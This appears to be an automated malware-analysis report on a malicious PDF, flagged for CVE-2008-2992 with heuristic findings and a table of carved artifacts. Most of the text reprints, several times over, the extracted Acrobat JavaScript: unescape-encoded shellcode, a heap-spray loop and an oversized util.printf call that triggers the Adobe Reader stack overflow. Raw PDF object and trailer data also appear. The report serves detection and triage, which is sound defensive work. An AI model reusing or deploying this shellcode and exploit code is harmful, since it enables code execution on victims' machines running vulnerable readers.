MALICIOUS
328
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The JavaScript stream, named 'javascript_obj0013_001.js', is likely responsible for malicious activity. The presence of an unescape() call suggests obfuscation, common in malicious scripts. The script's purpose is inferred to be the execution of arbitrary code, potentially downloading a second-stage payload.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 7
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure.
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913" + -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTHA PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 6
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0013_001.js |
pdf-javascript-stream | PDF /JS object 13 at offset 0x3DC | 2786 bytes |
SHA-256: 8ac551514708e1095d803b4bbf55b564d01345ac13b0021873bf54afec1094b4 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913" +
"%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B" +
"%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2" +
"%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F" +
"%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7" +
"%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB" +
"%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0" +
"%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7" +
"%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605" +
"%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D" +
"%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C" +
"%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844" +
"%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193" +
"%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4" +
"%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93" +
"%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297" +
"%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883" +
"%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1" +
"%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD" +
"%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC" +
"%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD" +
"%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA" +
"%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D" +
"%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30" +
"%u6695%u103C%u79D7%u0435%u0979%u745D");
var QtSX7FFMO5Yh=unescape("%u0"+"A0A%u"+"0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45"+"000f",gipW5Eb);
|
|||
javascript_obj0013_002.js |
pdf-javascript-stream | PDF /JS object 13 at offset 0x402 | 3422 bytes |
SHA-256: 8d001f91037c049d102f858a35723154f3764240eaba33462ad689f14fa213e0 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913" +
"%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B" +
"%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2" +
"%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F" +
"%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7" +
"%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB" +
"%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0" +
"%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7" +
"%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605" +
"%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D" +
"%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C" +
"%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844" +
"%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193" +
"%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4" +
"%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93" +
"%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297" +
"%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883" +
"%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1" +
"%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD" +
"%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC" +
"%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD" +
"%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA" +
"%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D" +
"%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30" +
"%u6695%u103C%u79D7%u0435%u0979%u745D");
var QtSX7FFMO5Yh=unescape("%u0"+"A0A%u"+"0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45"+"000f",gipW5Eb);
endstream
endobj
14 0 obj
<</Creator (Scribus 1.3.3.12)
/Title <>
/Producer (Scribus PDF Library 1.3.3.12)
/Author <>
/Keywords <>
/Trapped /False
/ModDate (D:20080806014227)
/CreationDate (D:20080806014227)
>>
endobj
xref
0 15
0000000000 65535 f
0000000015 00000 n
0000000264 00000 n
0000000282 00000 n
0000000327 00000 n
0000000400 00000 n
0000000431 00000 n
0000000451 00000 n
0000000490 00000 n
0000000556 00000 n
0000000734 00000 n
0000000784 00000 n
0000000865 00000 n
0000000912 00000 n
0000006893 00000 n
trailer
<</Info 14 0 R
/Root 1 0 R
/Size 15
>>
startxref
7094
%%EOF
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery split-literal-normalize from JavaScript object 13 at offset 0x3DC | 2033 bytes |
SHA-256: 8d26f403512932909ea7199f0cb2ae3b1bd9eaa5026ae123f2466054839aa2ed |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30%u6695%u103C%u79D7%u0435%u0979%u745D");
var QtSX7FFMO5Yh=unescape("%u0A0A%u0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",gipW5Eb);
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery split-literal-normalize from JavaScript object 13 at offset 0x402 | 2669 bytes |
SHA-256: 12963bd6dcfc1ec4b7629f5265eb842e9fa2097f7189f204a5846e84edc5b980 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30%u6695%u103C%u79D7%u0435%u0979%u745D");
var QtSX7FFMO5Yh=unescape("%u0A0A%u0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",gipW5Eb);
endstream
endobj
14 0 obj
<</Creator (Scribus 1.3.3.12)
/Title <>
/Producer (Scribus PDF Library 1.3.3.12)
/Author <>
/Keywords <>
/Trapped /False
/ModDate (D:20080806014227)
/CreationDate (D:20080806014227)
>>
endobj
xref
0 15
0000000000 65535 f
0000000015 00000 n
0000000264 00000 n
0000000282 00000 n
0000000327 00000 n
0000000400 00000 n
0000000431 00000 n
0000000451 00000 n
0000000490 00000 n
0000000556 00000 n
0000000734 00000 n
0000000784 00000 n
0000000865 00000 n
0000000912 00000 n
0000006893 00000 n
trailer
<</Info 14 0 R
/Root 1 0 R
/Size 15
>>
startxref
7094
%%EOF
|
|||
generic_stage_recovery_002.js |
deobfuscated-js | generic stage recovery split-literal-normalize from combined JavaScript objects at offset 0x11 | 4723 bytes |
SHA-256: 5796539373edb4da4eff109c5097652c9ebba184aba3238cb2d912a076bcfcec |
|||
|
Detection
ClamAV:
Js.Exploit.Shellcode-18
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
this.lhF0pCJES29x()
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30%u6695%u103C%u79D7%u0435%u0979%u745D");
var QtSX7FFMO5Yh=unescape("%u0A0A%u0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",gipW5Eb);
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30%u6695%u103C%u79D7%u0435%u0979%u745D");
var QtSX7FFMO5Yh=unescape("%u0A0A%u0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",gipW5Eb);
endstream
endobj
14 0 obj
<</Creator (Scribus 1.3.3.12)
/Title <>
/Producer (Scribus PDF Library 1.3.3.12)
/Author <>
/Keywords <>
/Trapped /False
/ModDate (D:20080806014227)
/CreationDate (D:20080806014227)
>>
endobj
xref
0 15
0000000000 65535 f
0000000015 00000 n
0000000264 00000 n
0000000282 00000 n
0000000327 00000 n
0000000400 00000 n
0000000431 00000 n
0000000451 00000 n
0000000490 00000 n
0000000556 00000 n
0000000734 00000 n
0000000784 00000 n
0000000865 00000 n
0000000912 00000 n
0000006893 00000 n
trailer
<</Info 14 0 R
/Root 1 0 R
/Size 15
>>
startxref
7094
%%EOF
|
|||
combined_document_js_000.js |
deobfuscated-js | combined document JavaScript streams at offset 0x11 | 6229 bytes |
SHA-256: a152953d286852a697cff021f1c81cea7af4bf7f33e62fbea7b15ac89af6b52d |
|||
|
Detection
ClamAV:
Js.Exploit.Shellcode-18
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
this.lhF0pCJES29x()
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913" +
"%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B" +
"%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2" +
"%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F" +
"%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7" +
"%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB" +
"%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0" +
"%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7" +
"%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605" +
"%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D" +
"%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C" +
"%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844" +
"%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193" +
"%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4" +
"%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93" +
"%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297" +
"%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883" +
"%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1" +
"%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD" +
"%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC" +
"%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD" +
"%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA" +
"%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D" +
"%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30" +
"%u6695%u103C%u79D7%u0435%u0979%u745D");
var QtSX7FFMO5Yh=unescape("%u0"+"A0A%u"+"0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45"+"000f",gipW5Eb);
zFHYxkRYCwD2=unescape("%uC929%uE983%uD9A3%uD9EE%u2474%u5BF4%u7381%uF913" +
"%u5D09%u8374%uFCEB%uF4E2%u1912%u3E07%uC0CA%uCD3B" +
"%u08C5%u40DD%u90F3%u8EBF%u0C12%u9FB5%uF606%u04A2" +
"%u90B5%uEDC4%uF43A%uDD65%u9060%u66C4%u9C20%u9D4F" +
"%u3D7C%uAD4F%u1B68%u661C%uAC13%u994F%uE87E%u1EC7" +
"%uEEEB%uEEE4%u1B9B%uF98A%u7D53%uBA92%u1B31%uEEFB" +
"%u1B9B%u8736%uC96E%u4B37%u9814%uB29D%u57E3%uA8C0" +
"%u7982%uB29D%u1B3E%u6609%uB426%u2EC7%u71B1%u2CC7" +
"%u5953%u66A2%u1B68%uF182%u5363%u0C05%u9362%u6605" +
"%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D" +
"%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C" +
"%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844" +
"%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193" +
"%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4" +
"%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93" +
